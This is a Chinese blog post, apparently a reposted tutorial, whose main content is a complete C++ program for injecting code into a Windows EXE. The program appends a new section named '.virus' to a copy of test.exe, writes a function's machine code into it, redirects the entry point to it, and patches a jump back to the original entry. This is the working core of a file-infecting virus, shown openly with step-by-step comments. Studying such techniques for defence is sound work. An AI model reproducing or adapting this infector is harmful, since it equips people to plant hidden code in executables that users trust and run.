我们进行信息安全编程的时候,经常需要向exe文件插入自己的源代码,

我们如何在代码中实现呢。请见代码与注释讲解

#include <iostream.h>
#include <windows.h>
#include <stdio.h>//
//*******************************************************************
//*******以下为程序代码*******
//*******************************************************************
//
void VirusCode()
{_asm {mov eax , 5}return;
}//
//*******************************************************************
//*******主函数*******
//*******************************************************************
//
void main()
{
//*******************************************************************
//*******首先得到程序代码起始地址,结束地址,代码长度*******
//*******************************************************************///    *******变量说明*******//    **dwFunBegAddr  :程序函数的开始地址//    **dwFunEndAddr  :程序函数的结束地址//    **dwFunCodeLen  :程序代码长度//   **dwJmpOff      :程序函数jmp区到真正入口的偏移// **pMove         :临时的指针变量/DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;PBYTE pMove = NULL;// *******首先指向程序函数的jmp指令*******pMove = (PBYTE)VirusCode;cout << "函数的jmp地址为:" << (PVOID)pMove << endl;//    *******定位到jmp后面的偏移处*******pMove ++;// *******把偏移赋值给变量*******dwJmpOff = *((PDWORD)pMove);//   *******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址*******dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl;cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl;//    *******以下通过搜索得到函数的结束地址*******// *******首先把函数的入口地址赋给变量*******pMove = (PBYTE)dwFunBegAddr;// *******向后搜索,直到结尾*******while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5))){pMove ++;}// *******此时pMove指向ret前一条指令*******//   *******pMove向后移5个字节,为程序代码的jmp指令占位*******pMove +=5;dwFunEndAddr = (DWORD)pMove;cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl;// *******结束地址减去起始地址,得到代码长度*******dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;cout << "总代码长度为:" << (int)dwFunCodeLen << endl;//*******************************************************************
//*******以下为在exe文件中添加程序代码*******
//*******************************************************************HANDLE hFile , hMapFile;LPVOID pMapOfFile = NULL;//*******************************************************************
//*******检测文件合法性*******
//*******************************************************************// *******打开文件*******hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);if (INVALID_HANDLE_VALUE == hFile){cout << "CreateFile Error!" << endl;return;}//    *******创建文件映射*******hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);if (!hMapFile){cout << "CreateFileMapping Error!" << endl;goto CLOSEFILEHANDLE;}// *******把文件映射到内存中*******pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);if (!pMapOfFile){cout << "MapViewOfFile Error!" << endl;goto CLOSEMAPHANDLE;}IMAGE_DOS_HEADER *pDosHeader;// ********检测DOS文件头*******pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){cout << "Check Dos Header Error!" << endl;goto FreeViewOfMap;}IMAGE_NT_HEADERS *pNtHeader;//  *******检测NT文件头*******pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);if (pNtHeader->Signature != IMAGE_NT_SIGNATURE){cout << "Check NT Header Error!" << endl;goto FreeViewOfMap;}
//***************************************************************
//*******准备工作*******
//***************************************************************BOOL bCopy;//  *******首先把要添加程序代码的文件复制一份*******bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);if (!bCopy){cout << "CopyFile Error!" << endl;}HANDLE hNewFile;// *******打开刚刚复制的文件*******hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);if (!hNewFile){cout << "CreateFile Error!" << endl;goto FreeViewOfMap;}HGLOBAL pNewFileHeader;//   *******为新文件的文件头申请一块内存,用于修改文件头信息*******pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);if (!pNewFileHeader){cout << "GlobalAlloc Error!" << endl;goto CloseNewFileHandle;}//   *******用原文件头填充这块内存*******RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);IMAGE_NT_HEADERS *pNewFileNtHeader;pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);//
//*******此时的指针信息*******
//*******pMapOfFile         :   原映射文件的开始
//*******pDosHeader         :   原映射文件的DOS头也就是文件开始,只不过类型不一样
//*******pNTHeader          :   原映射文件的NT头
//*******pNewFileHeader     :   新文件的开始
//*******pNewFileNtHeader   :   新文件的NT头
//
//****************************************************************
//*******修改新文件的节表信息*******
//****************************************************************int nSecNum;nSecNum = pNtHeader->FileHeader.NumberOfSections;IMAGE_SECTION_HEADER *pLastSec , *pNewSec;// *******定位到原文件中的最后一个节表*******pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));//    *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******pNewSec = pLastSec + 1;//*******修改新增节表的相关信息*******//*****节表总数加1*****pNewFileNtHeader->FileHeader.NumberOfSections ++;//*****修改新节的文件偏移*****pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;//*****修改新节的文件尺寸*****int nAlignNum;nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0){nAlignNum++;}pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;//*****修改所有代码长度按内存页对齐后的大小*****nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0){nAlignNum ++;}pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment;//*****修改文件内存映像尺寸*****pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment;//*****修改新节的内存偏移量*****//*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****nAlignNum = pLastSec->Misc.VirtualSize / pNewFileNtHeader->OptionalHeader.SectionAlignment;if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0){nAlignNum ++;}pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +pLastSec->VirtualAddress;//*****修改新节的内存尺寸*****pNewSec->Misc.VirtualSize = dwFunCodeLen;//*****更新新节属性*****pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;//*****更新节名*****strcpy((char*)pNewSec->Name , ".virus");//*****更新入口地址*****pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;BOOL bWrite;DWORD dwHeaderSize , dwWriten;dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);//*****向文件中添加程序代码*****DWORD dwSetFileP;//*****定位到新文件中新节开始处*****dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);if (!dwSetFileP){cout << "SetFilePointer Error!" << endl;goto CloseNewFileHandle;}//*****写入程序代码*****bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);if (!bWrite){cout << "Write Virus Code Error!" << endl;goto CloseNewFileHandle;}//*****定位到文件尾部*****dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData + pNewSec->SizeOfRawData , NULL , FILE_BEGIN);if (!dwSetFileP){cout << "SetFilePointer End Error!" << endl;goto CloseNewFileHandle;}//*****设定文件结束*****if (!SetEndOfFile(hNewFile)){cout << "SetEndOfFile Error!" << endl;goto CloseNewFileHandle;}//*******修正原入口地址*******PBYTE pModifyAddr;pModifyAddr = (PBYTE)pNewSec->VirtualAddress;pModifyAddr    += dwFunCodeLen;//printf("%x\n" , pModifyAddr);int nSub;    //跳转的距离nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;DWORD dwModifyLoca;dwModifyLoca = pNewSec->PointerToRawData;dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;//dwModifyLoca ++;//  *****定位到程序代码最后的五个字节处*****dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);if (!dwSetFileP){cout << "Modify Address SetFilePointer Error!" << endl;goto CloseNewFileHandle;}//*****修正jmp指令*****BYTE bJmp;bJmp = 0XE9;bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);if (!bWrite){cout << "Modify Address WriteFile Error!" << endl;goto CloseNewFileHandle;}//*****修正跳转地址*****bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);if (!bWrite){cout << "Modify Address WriteFile Error!" << endl;goto CloseNewFileHandle;}//****************************************************************
//*******扫尾工作*******
//****************************************************************
CloseNewFileHandle:CloseHandle(hNewFile);
FreeViewOfMap:UnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:CloseHandle(hMapFile);
CLOSEFILEHANDLE:CloseHandle(hFile);
}

转载于:https://www.cnblogs.com/new0801/archive/2012/01/24/6177761.html

基于visual c++之windows核心编程代码分析(64)现有的exe文件中添加自己的代码相关推荐

  1. 基于visual c++之windows核心编程代码分析(24)IO控制、内核通信

    我们在进行Windows编程的时候,经常需要进行IO控制与内核通信,我们来实现IO控制与内核通信.请见代码实现与注释讲解 驱动代码实现与分析 /* 头文件 */ #include <ntddk. ...

  2. 基于visual c++之windows核心编程代码分析(31)SNMP协议编程

    SNMP(Simple Network Management Protocol,简单网络管理协议)的前身是简单网关监控协议(SGMP),用来对通信线路进行管理.随后,人们对SGMP进行了很大的修改,特 ...

  3. 基于visual c++之windows核心编程代码分析(42)windows下进程的身份切换

    进程是操作系统结构的基础:是一个正在执行的程序:计算机中正在运行的程序实例:可以分配给处理器并由处理器执行的一个实体: 由单一顺序的执行显示,一个当前状态和一组相关的系统资源所描述的活动单元. 对应用 ...

  4. 基于visual c++之windows核心编程代码分析(30)Telnet协议编程

    Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式.它为用户提供了在本地计算机上完成远程主机工作的能力.在终端使用者的电脑上使用telnet程序,用它连接 ...

  5. 基于visual c++之windows核心编程代码分析(36)实践SYN安全隐患监测

    SYN (synchronize) SYN是TCP/IP建立连接时使用的握手信号.在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了 ...

  6. 基于visual c++之windows核心编程代码分析(47)实现交换网络的QQ号嗅探

    当我们在一个交换网络里面,不知道别人的QQ号码是个很痛苦的事情,假如一个PLMM在上网,你却不知道她得QQ也没有勇气去问,是个很可惜的事情, 至于我们搞编程的,可以通过交换机的数据交换,嗅探出QQ号, ...

  7. 基于visual c++之windows核心编程代码分析(61)打造自己的Windows输入法

    IMM(Input Method Manager)只在安装了亚洲语言包之后才能使用. 通过调用GetSystemMetrics(SM_IMMENABLED)知道IMM是否使能. 一共由三部分组成: s ...

  8. Windows核心编程——》第十七章 内存映射文件 (Memory-Mapped Files)

    1.概览 (1)什么是内存映射文件 内存映射文件是由一个文件到一块内存的映射,使进程虚拟地址空间的某个区域与磁盘上某个文件的部分或全部内容的建立映射. 建立映射后,通过该区域可以直接对被映射的磁盘文件 ...

  9. Windows核心编程 第十五章 在应用程序中使用虚拟内存

    第1 5章 在应用程序中使用虚拟内存 Wi n d o w s提供了3种进行内存管理的方法,它们是: • 虚拟内存,最适合用来管理大型对象或结构数组. • 内存映射文件,最适合用来管理大型数据流(通常 ...

最新文章

  1. js动态变量名_scss引入其他scss变量,并通过js动态修改scss变量
  2. 信号与系统期末考试2020春季学期试题准备
  3. CentOS 设置网络(修改IP 网关 DNS)上网
  4. python 保存json时最后一个多了一个逗号_从json obj的最后一个对象中删除逗号
  5. mysql5.0 php_php怎么连接mysql5.0?
  6. [NOI2009] 变换序列 (匈牙利最大匹配)
  7. 创造需求的6个关键点
  8. 2018年软件评测师备考之路
  9. 《Head First设计模式》第二版中译本内文彩页欣赏
  10. 1.3 VS2015安装教程
  11. 知乎日报富文本处理android,一个追求高效的学习者手机里装有哪些APP?
  12. 栅格模型数据编码方式
  13. 斯坦福大学自然语言处理第四课“语言模型(Language Modeling)
  14. VMWare、Ubuntu、ROS安装参考汇总
  15. Nemty 勒索软件代码中包含对杀毒软件公司的强烈措辞
  16. 办公软件excel表格_Office 办公软件教程丨Word,Excel,PPT
  17. 编译驱动程序报错BufferOverflowFastFailK.lib(loadcfg.obj) : error LNK2001: __guard_eh_cont_count
  18. Google benchmark使用手册及范例
  19. 无人机领域重大进展,即将实现空中充电
  20. 帝国Cms列表页和内容页调用栏目名称与链接标签的说明(列表与标签模板)

热门文章

  1. 那些年,我们踩过的 Java 坑
  2. 离职 10 天,仅面了 4 家公司,我的感受。。。
  3. 简述Linux虚拟内存管理
  4. IntelliJ IDEA 详细图解最常用的配置 ,适合刚刚用的新人。
  5. Java经典面试题:一个线程两次调用start()方法会出现什么情况?
  6. springboot源码分析之环境属性构造过程1
  7. Redis持久化:AOF和RDB
  8. 客户/服务器模型:编程思想
  9. Android --- 怎么去掉小数后面不必要的 0
  10. Java 洛谷 P1464 Function